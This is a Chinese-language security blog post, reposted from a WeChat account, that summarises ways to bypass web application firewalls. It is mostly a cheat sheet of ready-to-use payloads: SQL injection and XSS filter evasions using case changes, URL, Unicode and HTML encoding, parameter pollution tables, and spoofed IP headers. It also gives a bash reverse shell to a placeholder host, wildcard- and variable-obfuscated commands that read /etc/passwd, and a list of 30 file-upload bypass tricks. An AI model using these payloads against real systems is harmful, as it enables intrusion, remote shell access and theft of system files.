常用waf对抗手法简单总结

admin 2022年7月21日01:27:41评论122 views字数 3786阅读12分37秒阅读模式

常规waf对抗的手法简单总结(懒)

人屑勿喷,爱看不看,觉得不爽麻烦左滑退出

常用waf对抗手法简单总结



Fuzz/爆破

一般配合burp或者自己写的fuzz脚本爆破/fuzz就好

一般fuzz 可能过的//%0%¥#基本就这些


http参数污染

直接上表了

可配合下面的东西打组合拳

环境 参数解析 示例
ASP/IIS 用逗号连接 par1=val1,val2
JSP, Servlet/Apache Tomcat 第一个参数是结果 par1=val1
ASP.NET/IIS 用逗号连接 par1=val1,val2
PHP/Zeus 最后一个参数是结果 par1=val2
PHP/Apache 最后一个参数是结果 par1=val2
JSP, Servlet/Jetty 第一个参数是结果 par1=val1
IBM Lotus Domino 第一个参数是结果 par1=val1
IBM HTTP Server 最后一个参数是结果 par1=val2
mod_perl, libapeq2/Apache 第一个参数是结果 par1=val1
Oracle Application Server 10G 第一个参数是结果 par1=val1
Perl CGI/Apache 第一个参数是结果 par1=val1
Python/Zope 第一个参数是结果 par1=val1
IceWarp 返回一个列表 [‘val1’,’val2’]
AXIS 2400 最后一个参数是结果 par1=val2
DBMan 由两个波浪号连接起来 par1=val1~~val2
mod-wsgi (Python)/Apache 返回一个列表 ARRAY(0x8b9058c)

正则绕过

对于sql过滤基础的and,or,union (较少)

可能匹配到的表达式 '/(and|or|union)/i'

bypass: 1 ||(select *from * where **=1)= ''**'


过滤 and or union where (较少)

可能匹配的正则: '/(and|or|union|where)/i'

bypass: 1||(select *8 from ** limit 1) = '**'

过滤 and,or ,union ,where ,limit ,group by ,select , ' ,hex,substr,where space 的(恶心玩意) 

bypass: 1%0b || %0blpad(**,num1 ,num2 )


大小写:

sql:

SELECT * FROM all_Ttables WHERE OWNER = 'DATABASE_NAME'

bypass : sEleCt * FrOm all_tables WheRe OWNER = 'DATABASE_NAME'

xss:

<script>alert()</script>

bypass :<ScRipT>alert()</ScRipT>


url编码:

xss:

<script>alert()</script>

bypass: %3Cscript%3Ealert()%3C%2Fscript%3E

sql:

select *from * where **

bypass: select%20*from%20*%20where%20**


unicode编码:

xss:

<script>alert()</script>

bypass:&#60;&#115;&#99;&#114;&#105;&#112;&#116;&#62;&#97;&#108;&#101;&#114;&#116;&#40;&#41;&#60;&#47;&#115;&#99;&#114;&#105;&#112;&#116;&#62;


html实体编码:

xss:

<script>alert()</script>

bypass: &lt;script&gt;alert()&lt;/script&gt;


多重url编码

xss:

%3Cscript%3Ealert()%3C%2Fscript%3E

%253Cscript%253Ealert()%253C%252Fscript%253E


unicode混淆/分隔符

这里借用@Masato Kinugawafuzz 的一个表

IE
0x09
0x0B 0x0C 
0x3B

chrome
0x09 0x20
0x28
0x2B
0x3B
safari
0x2C
0x3B



firefox
0x09
0x20
0x2C
0x3B

opera
0x09
0x20
0x2C
0x3B

android
0x09
0x20 0x28
0x2C
0x3B


垃圾数据/字符绕过

xss:<script>alert(1)</script>

绕过:<script !@#$%^&*()_+{}~=alert(1) /script>


sql:经典脏数据

🐶' or ‘🐶’ like ’🐶‘

以此类推

或者用大量的🐶填充也可以

在图片马上传时候也可以使用,将大量的🐶数据写到图片内从而达到绕过waf的目的



payload写入系列

针对linux的通配符写入(https://zhuanlan.zhihu.com/p/96272363,普及一下什么是通配符)


/bin/cat /etc/passwd

/???/??t /???/??ss??


反弹shell也可以这么玩(举个例子)

/bin/bash -i >& /dev/tcp/your-ip/port  0>&1


/???/b??? -i > & /???/t?p/your-ip/port 0>&1


或者再离谱一点


/bin/nc 127.0.0.1 1234


/ ? n [0-7]


如果是webshell钩子调用的话还可以跟url打组合拳,改完之后鬼都认不出来


或者加入命令行注释:<混淆也是ok


未定义变量混淆

/bin/cat /etc/passwd

/bin/cat$asd /etc/passwd$dsa

$qw/bin/cat$ads $qfs/etc/passwd$asf$qew 也是可以


然后你就可以打组合拳了


如果是直接用的话,不经过webshell钩子

/bin/cat /etc/passwd


$qwe/???/??t$qxe $asc/???/??ss??$qns


过webshell钩子的话,那么就可以url大法好了

%24qwe%2F%3F%3F%3F%2F%3F%3Ft%24qxe%20%24asc%2F%3F%3F%3F%2F%3F%3Fss%3F%3F%24qns


TAB和换行符

大部分waf现在使用的是对空格的过滤,而tab不会拦截,可以配合在sql,xss等情况下使用,针对linux终端也可以(碰运气用还是可以的,现在一般情况下tab也是加策略)


特殊的点

IIS6, 7.5, 8 and 10 (ASPX v4.x) 允许  IBM037  字符可以发送编码后的参数名和值,可以配合打组合拳,编码之后再发送


解析错误

RFC声明节点名不能为空白

但是可以使用%, //, !, ?


所以有

<// style=x:expression28write(1)29> 

<!--[if]><script>alert(1)</script --> 


请求头欺骗

X-Originating-IP: 127.0.0.1

X-Forwarded-For: 127.0.0.1

X-Remote-IP: 127.0.0.1

X-Remote-Addr: 127.0.0.1

X-Client-IP: 127.0.0.1

这个就不多说了,一个插件的事


一些文件上传绕过的方法

(upload-liabs那期有写,就不多说了,简单汇总)

1. filename在content-type下面

2. .asp{80-90}

3. NTFS ADS

4. .asp...

5. boundary不一致

6. iis6分号截断asp.asp;asp.jpg

7. apache解析漏洞php.php.ddd

8. boundary和content-disposition中间插入换行

9. hello.php:a.jpg然后hello.<<<

10. filename=php.php

11. filename="a.txt";filename="a.php"

12. name=n"file";filename="a.php"

13. content-disposition:n

14. .htaccess文件

15. a.jpg.nphp

16. 去掉content-disposition的form-data字段

17. php<5.3 单双引号截断特性

18. 删除content-disposition: form-data;

19. content-disposition0:

20. {char}+content-disposition

21. head头的content-type: tab

22. head头的content-type: multipart/form-DATA

23. filename后缀改为大写

24. head头的Content-Type: multipart/form-data;n

25. .asp空格

26. .asp0x00.jpg截断

27. 双boundary

28. filenname="php.php"

29. head头content-type空格:

30. form-data字段与name字段交换位置

webshell 免杀(配合文件上传打组合拳)

针对php的webshell和针对jsp的webshell(后续搞一期写吧,实在是熬不动了)



原文始发于微信公众号(凛夜安全团队):常用waf对抗手法简单总结

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年7月21日01:27:41
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   常用waf对抗手法简单总结https://cn-sec.com/archives/1179072.html

发表评论

匿名网友 填写信息